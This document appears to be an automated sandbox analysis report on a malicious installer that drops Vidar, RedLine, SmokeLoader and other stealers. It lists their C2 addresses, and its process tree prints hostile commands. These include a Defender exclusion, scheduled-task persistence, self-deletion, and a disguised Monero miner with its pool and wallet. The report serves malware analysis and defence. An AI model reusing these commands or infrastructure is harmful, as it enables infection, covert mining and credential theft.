Resubmissions

09-09-2021 17:41

210909-v9lgtabfhq 10

09-09-2021 04:26

210909-e21nrsfee3 10

08-09-2021 21:37

210908-1gnpcsfbc9 10

08-09-2021 21:29

210908-1bx1vafbc5 10

08-09-2021 13:52

210908-q6fd6shgdj 10

07-09-2021 18:07

210907-wqa3eagcgr 10

Analysis

  • max time kernel
    23s
  • max time network
    1802s
  • platform
    windows10_x64
  • resource
    win10-en
  • submitted
    08-09-2021 21:37

General

  • Target

    setup_x86_x64_install.exe

  • Size

    2.9MB

  • MD5

    3f1f81101d0ce95fdfac97f5913cd662

  • SHA1

    8e615a64e4d72b08926242b7d73a608bdd7e9fce

  • SHA256

    90aa6a7c770f2c0f49596731c80fda7d044802dea9e905ff999b39cda5428407

  • SHA512

    a776c1f8636ef90d294becf8d09a45366463364026837c19e13227c1c5c9a6656b6fa525e0eec5a1a46997b6ef7066e958c02523a7c4538d046f8b2091145285

Malware Config

Extracted

Family

vidar

Version

40.5

Botnet

706

C2

https://gheorghip.tumblr.com/

Attributes
  • profile_id

    706

Extracted

Family

smokeloader

Version

2020

C2

http://varmisende.com/upload/

http://fernandomayol.com/upload/

http://nextlytm.com/upload/

http://people4jan.com/upload/

http://asfaltwerk.com/upload/

rc4.i32
rc4.i32

Extracted

Family

vidar

Version

40.5

Botnet

916

C2

https://gheorghip.tumblr.com/

Attributes
  • profile_id

    916

Extracted

Family

redline

Botnet

Jayson

C2

95.181.172.207:56915

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba Payload 1 IoCs
  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

  • Process spawned unexpected child process 3 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 10 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Socelars

    Socelars is an infostealer targeting browser cookies and credit card credentials.

  • Socelars Payload 2 IoCs
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • rl_trojan 3 IoCs

    redline stealer.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • Vidar Stealer 4 IoCs
  • ASPack v2.12-2.42 6 IoCs

    Detects executables packed with ASPack v2.12-2.42

  • Downloads MZ/PE file
  • Executes dropped EXE 35 IoCs
  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Loads dropped DLL 9 IoCs
  • Themida packer 1 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks whether UAC is enabled 1 TTPs 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 48 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 2 IoCs
  • Kills process with taskkill 6 IoCs
  • Modifies registry class 8 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s Browser
    1⤵
      PID:2596
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
      1⤵
        PID:1000
      • C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
        "C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
        1⤵
        • Suspicious use of WriteProcessMemory
        PID:3936
        • C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
          "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:3816
          • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\setup_install.exe
            "C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\setup_install.exe"
            3⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious use of WriteProcessMemory
            PID:368
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:2664
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
                5⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:1940
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c Tue11d7385a978cc.exe
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:1896
              • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11d7385a978cc.exe
                Tue11d7385a978cc.exe
                5⤵
                • Executes dropped EXE
                PID:188
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c Tue11b9d76a96506.exe
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:644
              • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11b9d76a96506.exe
                Tue11b9d76a96506.exe
                5⤵
                • Executes dropped EXE
                PID:3448
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c Tue11f251db82fb7b.exe
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:1944
              • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11f251db82fb7b.exe
                Tue11f251db82fb7b.exe
                5⤵
                • Executes dropped EXE
                PID:3704
                • C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
                  "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
                  6⤵
                  • Executes dropped EXE
                  PID:4692
                  • C:\Users\Admin\AppData\Local\Temp\Alfanewfile2.exe
                    "C:\Users\Admin\AppData\Local\Temp\Alfanewfile2.exe"
                    7⤵
                    • Executes dropped EXE
                    PID:5036
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c taskkill /im Alfanewfile2.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\Alfanewfile2.exe" & del C:\ProgramData\*.dll & exit
                      8⤵
                        PID:6704
                        • C:\Windows\SysWOW64\taskkill.exe
                          taskkill /im Alfanewfile2.exe /f
                          9⤵
                          • Kills process with taskkill
                          PID:6992
                        • C:\Windows\SysWOW64\timeout.exe
                          timeout /t 6
                          9⤵
                          • Delays execution with timeout.exe
                          PID:2412
                    • C:\Users\Admin\AppData\Local\Temp\2.exe
                      "C:\Users\Admin\AppData\Local\Temp\2.exe"
                      7⤵
                      • Executes dropped EXE
                      • Suspicious use of AdjustPrivilegeToken
                      PID:5108
                      • C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
                        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
                        8⤵
                          PID:4020
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 4020 -s 324
                            9⤵
                            • Program crash
                            PID:5236
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 4020 -s 364
                            9⤵
                            • Program crash
                            PID:4980
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 4020 -s 328
                            9⤵
                            • Program crash
                            PID:5896
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 4020 -s 596
                            9⤵
                            • Program crash
                            • Suspicious use of WriteProcessMemory
                            PID:3804
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 4020 -s 624
                            9⤵
                            • Program crash
                            PID:4700
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 4020 -s 668
                            9⤵
                            • Program crash
                            PID:2284
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 4020 -s 648
                            9⤵
                            • Program crash
                            PID:6372
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 4020 -s 668
                            9⤵
                            • Program crash
                            PID:6588
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 4020 -s 612
                            9⤵
                            • Program crash
                            PID:5748
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 4020 -s 684
                            9⤵
                            • Program crash
                            PID:5152
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 4020 -s 784
                            9⤵
                            • Program crash
                            PID:7432
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 4020 -s 632
                            9⤵
                            • Program crash
                            PID:7528
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 4020 -s 908
                            9⤵
                            • Program crash
                            PID:7380
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 4020 -s 624
                            9⤵
                            • Program crash
                            PID:6256
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 4020 -s 800
                            9⤵
                            • Program crash
                            PID:7512
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 4020 -s 672
                            9⤵
                            • Program crash
                            PID:7612
                          • C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
                            "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
                            9⤵
                              PID:6516
                        • C:\Users\Admin\AppData\Local\Temp\setup.exe
                          "C:\Users\Admin\AppData\Local\Temp\setup.exe"
                          7⤵
                          • Executes dropped EXE
                          PID:4312
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 4312 -s 812
                            8⤵
                            • Program crash
                            PID:5356
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 4312 -s 840
                            8⤵
                            • Program crash
                            PID:5784
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 4312 -s 856
                            8⤵
                            • Program crash
                            PID:4124
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 4312 -s 900
                            8⤵
                            • Program crash
                            PID:4664
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 4312 -s 968
                            8⤵
                            • Program crash
                            PID:5580
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 4312 -s 1288
                            8⤵
                            • Program crash
                            PID:4880
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 4312 -s 1336
                            8⤵
                            • Program crash
                            PID:5388
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 4312 -s 1328
                            8⤵
                            • Program crash
                            PID:5992
                        • C:\Users\Admin\AppData\Local\Temp\3002.exe
                          "C:\Users\Admin\AppData\Local\Temp\3002.exe"
                          7⤵
                          • Executes dropped EXE
                          PID:4232
                          • C:\Users\Admin\AppData\Local\Temp\3002.exe
                            "C:\Users\Admin\AppData\Local\Temp\3002.exe" -a
                            8⤵
                            • Executes dropped EXE
                            PID:5292
                        • C:\Users\Admin\AppData\Local\Temp\jhuuee.exe
                          "C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"
                          7⤵
                          • Executes dropped EXE
                          PID:4216
                        • C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe
                          "C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"
                          7⤵
                          • Executes dropped EXE
                          • Suspicious use of AdjustPrivilegeToken
                          PID:4488
                        • C:\Users\Admin\AppData\Local\Temp\setup_2.exe
                          "C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
                          7⤵
                          • Executes dropped EXE
                          PID:4576
                        • C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe
                          "C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"
                          7⤵
                          • Executes dropped EXE
                          • Suspicious use of AdjustPrivilegeToken
                          PID:4956
                          • C:\Users\Admin\AppData\Roaming\5880758.exe
                            "C:\Users\Admin\AppData\Roaming\5880758.exe"
                            8⤵
                              PID:3800
                            • C:\Users\Admin\AppData\Roaming\4519590.exe
                              "C:\Users\Admin\AppData\Roaming\4519590.exe"
                              8⤵
                                PID:5684
                              • C:\Users\Admin\AppData\Roaming\2600560.exe
                                "C:\Users\Admin\AppData\Roaming\2600560.exe"
                                8⤵
                                  PID:4404
                                • C:\Users\Admin\AppData\Roaming\4694737.exe
                                  "C:\Users\Admin\AppData\Roaming\4694737.exe"
                                  8⤵
                                  • Loads dropped DLL
                                  • Modifies registry class
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:5124
                                • C:\Users\Admin\AppData\Roaming\3106844.exe
                                  "C:\Users\Admin\AppData\Roaming\3106844.exe"
                                  8⤵
                                    PID:4384
                                • C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe
                                  "C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"
                                  7⤵
                                  • Executes dropped EXE
                                  PID:4848
                                  • C:\Windows\System32\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
                                    8⤵
                                      PID:4992
                                      • C:\Windows\system32\schtasks.exe
                                        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
                                        9⤵
                                        • Creates scheduled task(s)
                                        PID:6508
                                    • C:\Users\Admin\AppData\Roaming\services64.exe
                                      "C:\Users\Admin\AppData\Roaming\services64.exe"
                                      8⤵
                                        PID:6336
                                        • C:\Windows\System32\cmd.exe
                                          "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
                                          9⤵
                                            PID:7864
                                            • C:\Windows\system32\schtasks.exe
                                              schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
                                              10⤵
                                              • Creates scheduled task(s)
                                              PID:7928
                                          • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
                                            "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
                                            9⤵
                                              PID:7956
                                            • C:\Windows\explorer.exe
                                              C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth
                                              9⤵
                                                PID:6544
                                    • C:\Windows\SysWOW64\cmd.exe
                                      C:\Windows\system32\cmd.exe /c Tue1109eec571ac.exe /mixone
                                      4⤵
                                      • Suspicious use of WriteProcessMemory
                                      PID:3712
                                      • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue1109eec571ac.exe
                                        Tue1109eec571ac.exe /mixone
                                        5⤵
                                        • Executes dropped EXE
                                        PID:4156
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 4156 -s 656
                                          6⤵
                                          • Program crash
                                          • Suspicious behavior: EnumeratesProcesses
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:4296
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 4156 -s 672
                                          6⤵
                                          • Program crash
                                          PID:5548
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 4156 -s 684
                                          6⤵
                                          • Program crash
                                          PID:5920
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 4156 -s 656
                                          6⤵
                                          • Program crash
                                          PID:5204
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 4156 -s 896
                                          6⤵
                                          • Program crash
                                          PID:5320
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 4156 -s 712
                                          6⤵
                                          • Program crash
                                          PID:4756
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 4156 -s 1156
                                          6⤵
                                          • Program crash
                                          PID:4824
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 4156 -s 1148
                                          6⤵
                                          • Program crash
                                          PID:4948
                                    • C:\Windows\SysWOW64\cmd.exe
                                      C:\Windows\system32\cmd.exe /c Tue11141271fbe5877f.exe
                                      4⤵
                                        PID:3804
                                        • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11141271fbe5877f.exe
                                          Tue11141271fbe5877f.exe
                                          5⤵
                                          • Executes dropped EXE
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:4276
                                          • C:\ProgramData\1315498.exe
                                            "C:\ProgramData\1315498.exe"
                                            6⤵
                                            • Executes dropped EXE
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:4768
                                            • C:\Windows\system32\WerFault.exe
                                              C:\Windows\system32\WerFault.exe -u -p 4768 -s 1936
                                              7⤵
                                              • Program crash
                                              PID:5344
                                          • C:\ProgramData\5750804.exe
                                            "C:\ProgramData\5750804.exe"
                                            6⤵
                                            • Executes dropped EXE
                                            • Adds Run key to start application
                                            PID:4864
                                            • C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
                                              "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
                                              7⤵
                                              • Executes dropped EXE
                                              PID:4648
                                          • C:\ProgramData\1383536.exe
                                            "C:\ProgramData\1383536.exe"
                                            6⤵
                                            • Executes dropped EXE
                                            • Checks BIOS information in registry
                                            • Checks whether UAC is enabled
                                            PID:4652
                                          • C:\ProgramData\7993807.exe
                                            "C:\ProgramData\7993807.exe"
                                            6⤵
                                            • Executes dropped EXE
                                            • Checks BIOS information in registry
                                            • Checks whether UAC is enabled
                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                            PID:4928
                                          • C:\ProgramData\4616248.exe
                                            "C:\ProgramData\4616248.exe"
                                            6⤵
                                            • Executes dropped EXE
                                            PID:4204
                                            • C:\Windows\SysWOW64\WerFault.exe
                                              C:\Windows\SysWOW64\WerFault.exe -u -p 4204 -s 1892
                                              7⤵
                                              • Program crash
                                              PID:7740
                                      • C:\Windows\SysWOW64\cmd.exe
                                        C:\Windows\system32\cmd.exe /c Tue118f55232e4.exe
                                        4⤵
                                        • Suspicious use of WriteProcessMemory
                                        PID:3832
                                        • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue118f55232e4.exe
                                          Tue118f55232e4.exe
                                          5⤵
                                          • Executes dropped EXE
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:4264
                                          • C:\Windows\SysWOW64\cmd.exe
                                            cmd.exe /c taskkill /f /im chrome.exe
                                            6⤵
                                              PID:5464
                                              • C:\Windows\SysWOW64\taskkill.exe
                                                taskkill /f /im chrome.exe
                                                7⤵
                                                • Kills process with taskkill
                                                PID:3268
                                        • C:\Windows\SysWOW64\cmd.exe
                                          C:\Windows\system32\cmd.exe /c Tue112c483dd3245d.exe
                                          4⤵
                                          • Suspicious use of WriteProcessMemory
                                          PID:1160
                                          • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue112c483dd3245d.exe
                                            Tue112c483dd3245d.exe
                                            5⤵
                                            • Executes dropped EXE
                                            PID:4236
                                            • C:\Windows\SysWOW64\cmd.exe
                                              "C:\Windows\System32\cmd.exe" /c taskkill /im Tue112c483dd3245d.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue112c483dd3245d.exe" & del C:\ProgramData\*.dll & exit
                                              6⤵
                                                PID:6740
                                                • C:\Windows\SysWOW64\taskkill.exe
                                                  taskkill /im Tue112c483dd3245d.exe /f
                                                  7⤵
                                                  • Kills process with taskkill
                                                  PID:6940
                                                • C:\Windows\SysWOW64\timeout.exe
                                                  timeout /t 6
                                                  7⤵
                                                  • Delays execution with timeout.exe
                                                  PID:5088
                                          • C:\Windows\SysWOW64\cmd.exe
                                            C:\Windows\system32\cmd.exe /c Tue11e4e580f2e8141a3.exe
                                            4⤵
                                            • Suspicious use of WriteProcessMemory
                                            PID:1748
                                          • C:\Windows\SysWOW64\cmd.exe
                                            C:\Windows\system32\cmd.exe /c Tue11bc0507b56295.exe
                                            4⤵
                                            • Suspicious use of WriteProcessMemory
                                            PID:1860
                                    • \??\c:\windows\system32\svchost.exe
                                      c:\windows\system32\svchost.exe -k netsvcs -s BITS
                                      1⤵
                                      • Suspicious use of SetThreadContext
                                      • Modifies registry class
                                      PID:744
                                      • C:\Windows\system32\svchost.exe
                                        C:\Windows\system32\svchost.exe -k SystemNetworkService
                                        2⤵
                                          PID:5468
                                      • C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11bc0507b56295.exe
                                        Tue11bc0507b56295.exe
                                        1⤵
                                        • Executes dropped EXE
                                        • Checks SCSI registry key(s)
                                        • Suspicious behavior: EnumeratesProcesses
                                        • Suspicious behavior: MapViewOfSection
                                        PID:4108
                                      • C:\Users\Admin\AppData\Local\Temp\is-PN95A.tmp\Tue11b9d76a96506.tmp
                                        "C:\Users\Admin\AppData\Local\Temp\is-PN95A.tmp\Tue11b9d76a96506.tmp" /SL5="$A0054,506086,422400,C:\Users\Admin\AppData\Local\Temp\7zS8EEC08D3\Tue11b9d76a96506.exe"
                                        1⤵
                                          PID:4376
                                          • C:\Users\Admin\AppData\Local\Temp\is-SQNUB.tmp\46807GHF____.exe
                                            "C:\Users\Admin\AppData\Local\Temp\is-SQNUB.tmp\46807GHF____.exe" /S /UID=burnerch2
                                            2⤵
                                            • Executes dropped EXE
                                            PID:4932
                                            • C:\Program Files\Internet Explorer\ERDPYEZJNW\ultramediaburner.exe
                                              "C:\Program Files\Internet Explorer\ERDPYEZJNW\ultramediaburner.exe" /VERYSILENT
                                              3⤵
                                                PID:4896
                                                • C:\Users\Admin\AppData\Local\Temp\is-V0PD3.tmp\ultramediaburner.tmp
                                                  "C:\Users\Admin\AppData\Local\Temp\is-V0PD3.tmp\ultramediaburner.tmp" /SL5="$5020A,281924,62464,C:\Program Files\Internet Explorer\ERDPYEZJNW\ultramediaburner.exe" /VERYSILENT
                                                  4⤵
                                                    PID:6044
                                                    • C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
                                                      "C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
                                                      5⤵
                                                        PID:2476
                                                  • C:\Users\Admin\AppData\Local\Temp\be-340e1-b55-49c9e-9906ff4445ef6\Pyfenetute.exe
                                                    "C:\Users\Admin\AppData\Local\Temp\be-340e1-b55-49c9e-9906ff4445ef6\Pyfenetute.exe"
                                                    3⤵
                                                      PID:2232
                                                    • C:\Users\Admin\AppData\Local\Temp\de-077d4-5fd-7fa86-fe217bfd8d2c8\Mahawicefo.exe
                                                      "C:\Users\Admin\AppData\Local\Temp\de-077d4-5fd-7fa86-fe217bfd8d2c8\Mahawicefo.exe"
                                                      3⤵
                                                        PID:6136
                                                        • C:\Windows\System32\cmd.exe
                                                          "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\sw15qr5c.kd3\GcleanerEU.exe /eufive & exit
                                                          4⤵
                                                            PID:6552
                                                            • C:\Users\Admin\AppData\Local\Temp\sw15qr5c.kd3\GcleanerEU.exe
                                                              C:\Users\Admin\AppData\Local\Temp\sw15qr5c.kd3\GcleanerEU.exe /eufive
                                                              5⤵
                                                                PID:6968
                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 6968 -s 656
                                                                  6⤵
                                                                  • Program crash
                                                                  PID:4172
                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 6968 -s 664
                                                                  6⤵
                                                                  • Program crash
                                                                  PID:5840
                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 6968 -s 764
                                                                  6⤵
                                                                  • Program crash
                                                                  PID:5932
                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 6968 -s 812
                                                                  6⤵
                                                                  • Program crash
                                                                  PID:2156
                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 6968 -s 880
                                                                  6⤵
                                                                  • Program crash
                                                                  PID:5984
                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 6968 -s 928
                                                                  6⤵
                                                                  • Program crash
                                                                  PID:7940
                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 6968 -s 1176
                                                                  6⤵
                                                                  • Program crash
                                                                  PID:8072
                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 6968 -s 1244
                                                                  6⤵
                                                                  • Program crash
                                                                  PID:8132
                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                  "C:\Windows\System32\cmd.exe" /c taskkill /im "GcleanerEU.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\sw15qr5c.kd3\GcleanerEU.exe" & exit
                                                                  6⤵
                                                                    PID:7172
                                                                    • C:\Windows\SysWOW64\taskkill.exe
                                                                      taskkill /im "GcleanerEU.exe" /f
                                                                      7⤵
                                                                      • Kills process with taskkill
                                                                      PID:6480
                                                              • C:\Windows\System32\cmd.exe
                                                                "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\iaxftb1y.41p\installer.exe /qn CAMPAIGN="654" & exit
                                                                4⤵
                                                                  PID:6140
                                                                  • C:\Users\Admin\AppData\Local\Temp\iaxftb1y.41p\installer.exe
                                                                    C:\Users\Admin\AppData\Local\Temp\iaxftb1y.41p\installer.exe /qn CAMPAIGN="654"
                                                                    5⤵
                                                                      PID:4268
                                                                      • C:\Windows\SysWOW64\msiexec.exe
                                                                        "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\iaxftb1y.41p\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\iaxftb1y.41p\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1630877600 /qn CAMPAIGN=""654"" " CAMPAIGN="654"
                                                                        6⤵
                                                                          PID:7464
                                                                    • C:\Windows\System32\cmd.exe
                                                                      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\5vx2m2xs.djp\anyname.exe & exit
                                                                      4⤵
                                                                        PID:4944
                                                                        • C:\Users\Admin\AppData\Local\Temp\5vx2m2xs.djp\anyname.exe
                                                                          C:\Users\Admin\AppData\Local\Temp\5vx2m2xs.djp\anyname.exe
                                                                          5⤵
                                                                            PID:4852
                                                                            • C:\Users\Admin\AppData\Local\Temp\5vx2m2xs.djp\anyname.exe
                                                                              "C:\Users\Admin\AppData\Local\Temp\5vx2m2xs.djp\anyname.exe" -u
                                                                              6⤵
                                                                                PID:6480
                                                                          • C:\Windows\System32\cmd.exe
                                                                            "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ekxx4kpg.o5k\gcleaner.exe /mixfive & exit
